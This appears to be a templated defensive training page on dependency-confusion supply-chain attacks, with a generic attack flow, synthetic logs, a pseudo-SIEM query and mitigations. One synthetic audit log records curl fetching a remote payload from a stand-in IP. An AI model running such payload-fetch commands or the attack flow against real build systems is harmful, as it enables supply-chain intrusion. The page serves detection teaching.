What is it?
Dependency Confusion is an attack pattern in which a package manager installs a malicious public package instead of an internal one. The learning goal is to identify the trust boundary being abused, the attacker’s sequence, and the telemetry that records it.
How it works in plain English
Use this three-part model to understand the attack without memorizing a tool name.
People and systems trust a dependency, build, update, model, generated output, or signed artifact.
The attacker changes an upstream input so trusted downstream consumers execute or accept it.
Verify provenance end to end: source change, reviewer, build identity, dependency resolution, artifact hash, signature, deployment, and downstream behavior.
Worked example: how the sequence may look
Access to or influence over the relevant Software Supply Chain environment.
Trigger the condition that enables dependency confusion.
Source control, package registry, build runner, signing, release, and deployment audit trails.
Baseline the affected identity, host, application, service, or protocol.
If successful, the attacker may continue with Software Supply Chain Compromise. This is a possibility, not a guaranteed next step.
This is a defensive learning scenario. Real incidents vary, and the listed outcome is only one possible path.
Why do attackers use it?
Advance an objective associated with initial access / impact.
Exploit a weak control, unsafe default, exposed service, trusted relationship, or human decision.
Create access, gain privilege, evade defenses, steal information, or disrupt operations.
Prerequisites
Access to or influence over the relevant Software Supply Chain environment.
Knowledge of the target’s technology, identities, configuration, or user behavior.
A weakness, misconfiguration, exposed interface, stolen secret, or social opportunity.
A path to observe success and continue toward the objective.
Attack path possibilities
Attack chains are not fixed. These links show common possibilities to investigate before and after this behavior.
A fabricated scenario persuades a target to disclose information or act.
T1078.004 Cloud Account TakeoverStolen credentials, tokens, or recovery paths control a cloud identity.
Concept CI/CD Pipeline CompromiseBuild identities, runners, secrets, or workflows alter software artifacts.
A trusted build, update, dependency, or distributor is compromised.
T1105 Ingress Tool TransferTools or payloads are transferred into a compromised environment.
T1552 Cloud Access Key TheftLong-lived or temporary cloud API credentials are stolen and replayed.
T1560 Data Staging and ArchivingCollected data is gathered and compressed before exfiltration.
Step-by-step attack flow
Reconnoiter the target and identify the exposed trust boundary.
Prepare the infrastructure, lure, input, credential, or payload required.
Trigger the condition that enables dependency confusion.
Confirm access or effect while attempting to avoid controls.
Use the result for follow-on access, execution, collection, movement, persistence, or impact.
Remove evidence, rotate infrastructure, or repeat against other targets.
MITRE ATT&CK mapping
ATT&CK is updated over time. Verify the live technique before operationalizing a detection.
Logs and artifacts
Source control, package registry, build runner, signing, release, and deployment audit trails.
Artifact hashes, provenance, dependency changes, model inputs, and configuration revisions.
Downstream execution or access beginning after a trusted update or generated output.
Realistic log examples
These records use realistic field names and formats but synthetic organizations, users, addresses, and identifiers. A single event is not proof; correlate time, identity, source, target, and the resulting action.
Actor, workflow, runner, ref, secret use, dependency change, and produced artifact.
2026-07-16T14:40:17Z actor=contractor-ci action=workflow_dispatch
repository=corp/payments ref=refs/heads/main workflow=release.yml
runner=shared-linux-17 source_ip=203.0.113.48
job=publish conclusion=success artifact_sha256=9e5a...d114
secrets_accessed=NPM_TOKEN,SIGNING_KEY
Baseline the affected identity, host, application, service, or protocol.
Who called which AWS API, from where, with what session and MFA context.
{"eventTime":"2026-07-16T14:31:22Z","eventSource":"sts.amazonaws.com",
"eventName":"AssumeRole","awsRegion":"ap-south-1",
"sourceIPAddress":"203.0.113.48","userAgent":"aws-cli/2.17",
"userIdentity":{"type":"IAMUser","arn":"arn:aws:iam::111122223333:user/build"},
"requestParameters":{"roleArn":"arn:aws:iam::111122223333:role/Admin"},
"responseElements":{"credentials":{"accessKeyId":"ASIA...REDACTED"}}}
Detect rare combinations of source, target, action, timing, volume, and result.
Process creation; correlate parent, child, command line, account, and logon ID.
2026-07-16T14:28:04Z EventID=4688 Computer=APP01.corp.example
SubjectUserName=svc-web SubjectLogonId=0x4A81C
NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentProcessName=C:\Windows\System32\inetsrv\w3wp.exe
CommandLine="powershell.exe -NoProfile -NonInteractive <redacted>"
TokenElevationType=%%1937 MandatoryLabel=S-1-16-8192
Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.
Executed program and syscall result; join records by the audit message ID.
type=SYSCALL msg=audit(1784212084.412:8841): arch=c000003e syscall=59
success=yes exit=0 pid=24891 ppid=24872 auid=1001 uid=33 exe="/usr/bin/curl"
type=EXECVE msg=audit(1784212084.412:8841): argc=3 a0="curl"
a1="-fsSL" a2="http://198.51.100.24/payload"
Prioritize activity followed by successful access, privilege change, execution, or data movement.
- Who or what identity acted?
- From which device, process, IP, or workload?
- What target and operation were involved?
- Did it fail, succeed, or change state?
- What correlated event happened immediately before and after?
Detection logic / SIEM queries
Baseline the affected identity, host, application, service, or protocol.
Detect rare combinations of source, target, action, timing, volume, and result.
Correlate identity, endpoint, network, application, and control-plane evidence across the sequence.
Prioritize activity followed by successful access, privilege change, execution, or data movement.
FROM security_events
WHERE event_time > now() - 30m
AND behavior = "Dependency Confusion"
GROUP BY source, target, user
HAVING count(*) > baseline(source, target, user)
OR rare(action, source, target) = true
CORRELATE WITH success, privilege_change, execution, data_access
Mitigations
Reduce exposed attack surface and remove unused services, identities, features, and trust relationships.
Apply least privilege, strong authentication, secure defaults, segmentation, and timely patching.
Validate untrusted input and independently authorize sensitive operations.
Centralize and protect relevant logs; test detections with controlled simulations.
Maintain a response playbook for containment, credential rotation, evidence preservation, and recovery.
Real-world examples
Dependency Confusion appears in opportunistic campaigns and targeted intrusions when the required condition exists.
Real incidents usually combine it with credential theft, phishing, exploitation, persistence, or exfiltration.
The best case studies describe the full attack chain rather than an isolated tool or indicator.
Common questions
01What makes Dependency Confusion possible?
A trust assumption fails: an identity, input, component, network message, user decision, or software relationship is accepted without enough verification.
02What should a defender collect first?
Start with logs closest to the decision point, then add identity, endpoint, network, and control-plane context.
03How should I study this attack?
Learn the concept, identify prerequisites, map observable steps, write a detection hypothesis, and validate it safely in a lab.